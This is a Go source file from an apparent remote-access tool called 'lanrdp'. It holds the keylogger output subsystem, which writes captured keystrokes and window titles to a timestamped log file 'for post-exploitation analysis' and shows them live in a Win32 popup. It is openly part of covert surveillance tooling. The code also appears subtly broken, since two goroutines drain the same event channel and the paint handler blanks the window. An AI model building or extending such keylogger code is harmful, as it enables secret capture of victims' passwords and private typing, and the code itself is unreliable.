// Keylogger display: writes captured keystrokes to a log file on the client // machine and optionally displays them in a simple popup window. The log file // is the primary output for post-exploitation analysis; the window provides // live visual feedback during active sessions. package main import ( "fmt" "os" "path/filepath" "strings" "sync" "time" "unsafe" "golang.org/x/sys/windows" "lanrdp/internal/keylog" "lanrdp/internal/protocol" ) var keylogWindowHwnd uintptr // runKeylogDisplay starts the keylogger output subsystem: a log file and an // optional popup window. It consumes events from the channel until closed. func runKeylogDisplay(events <-chan protocol.KeyLogEvent, done chan struct{}) { defer close(done) // Determine log file path (same directory as executable) exePath, err := os.Executable() if err != nil { fmt.Printf("keylog: could not determine exe path: %v\n", err) } else { logDir := filepath.Dir(exePath) timestamp := time.Now().Format("2006-01-02_15-04-05") logFile, err := os.Create(filepath.Join(logDir, fmt.Sprintf("lanrdp_keylog_%s.txt", timestamp))) if err != nil { fmt.Printf("keylog: could not create log file: %v\n", err) } else { defer logFile.Close() // Write header logFile.WriteString(fmt.Sprintf("lanrdp keylog started at %s\n", time.Now().Format(time.RFC3339))) logFile.WriteString(strings.Repeat("-", 80) + "\n") // Start file logging goroutine go func() { for event := range events { line := keylog.FormatEvent(keylog.KeyEvent{ TimestampMs: event.TimestampMs, VKCode: event.VKCode, ScanCode: event.ScanCode, Flags: event.Flags, WindowTitle: event.WindowTitle, }) logFile.WriteString(line + "\n") } }() fmt.Printf("keylog: writing to %s\n", logFile.Name()) } } // Also create a simple popup window for live display createKeylogWindow(events) } func createKeylogWindow(events <-chan protocol.KeyLogEvent) { className, _ := windows.UTF16PtrFromString("lanrdp_keylog_window") title, _ := windows.UTF16PtrFromString("lanrdp — Keylogger") hInstance, _, _ := procGetModuleHandleW.Call(0) cursor, _, _ := procLoadCursorW.Call(0, uintptr(idcArrow)) // Register window class using the same pattern as main window wc := wndClassExW{ style: 0, lpfnWndProc: windows.NewCallback(keylogWndProc), hInstance: windows.Handle(hInstance), hCursor: windows.Handle(cursor), lpszClassName: className, } wc.cbSize = uint32(unsafe.Sizeof(wc)) if ret, _, _ := procRegisterClassExW.Call(uintptr(unsafe.Pointer(&wc))); ret == 0 { fmt.Printf("keylog window class registration failed\n") return } defer func() { procUnregisterClass.Call(uintptr(unsafe.Pointer(className)), hInstance) }() hwnd, _, _ := procCreateWindowExW.Call( 0, uintptr(unsafe.Pointer(className)), uintptr(unsafe.Pointer(title)), uintptr(wsOverlappedWindow|wsVisible), 400, 200, 700, 500, // x, y, width, height 0, 0, hInstance, 0) if hwnd == 0 { fmt.Printf("keylog window creation failed\n") return } keylogWindowHwnd = hwnd // Start consuming key events and updating the display var mu sync.Mutex var lines []string go func() { for event := range events { line := keylog.FormatEvent(keylog.KeyEvent{ TimestampMs: event.TimestampMs, VKCode: event.VKCode, ScanCode: event.ScanCode, Flags: event.Flags, WindowTitle: event.WindowTitle, }) mu.Lock() lines = append(lines, line) if len(lines) > 100 { lines = lines[1:] // Keep last 100 lines in window } var sb strings.Builder for _, l := range lines { sb.WriteString(l + "\n") } text, _ := windows.UTF16PtrFromString(sb.String()) procSetWindowTextW.Call(hwnd, uintptr(unsafe.Pointer(text))) mu.Unlock() } }() // Run message loop for this window on its own goroutine go func() { var m msgT for { ret, _, _ := procGetMessageW.Call(uintptr(unsafe.Pointer(&m)), 0, 0, 0) if int32(ret) <= 0 { break // WM_QUIT received } procTranslateMessage.Call(uintptr(unsafe.Pointer(&m))) procDispatchMessageW.Call(uintptr(unsafe.Pointer(&m))) } procDestroyWindow.Call(hwnd) keylogWindowHwnd = 0 }() } // keylogWndProc handles messages for the keylog display window. func keylogWndProc(hwnd, msg, wparam, lparam uintptr) uintptr { switch msg { case wmDestroy: procPostQuitMessage.Call(0) return 0 case wmPaint: var ps paintStruct hdc, _, _ := procBeginPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps))) defer procEndPaint.Call(hwnd, uintptr(unsafe.Pointer(&ps))) // Fill black background var r rectT procGetClientRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) brush, _, _ := procCreateSolidBrush.Call(0) // RGB(0,0,0) = black if brush != 0 { procFillRect.Call(hdc, uintptr(unsafe.Pointer(&r)), brush) procDeleteObject.Call(brush) } return 0 case wmEraseBkgnd: return 1 // We handle background in WM_PAINT } ret, _, _ := procDefWindowProcW.Call(hwnd, msg, wparam, lparam) return ret }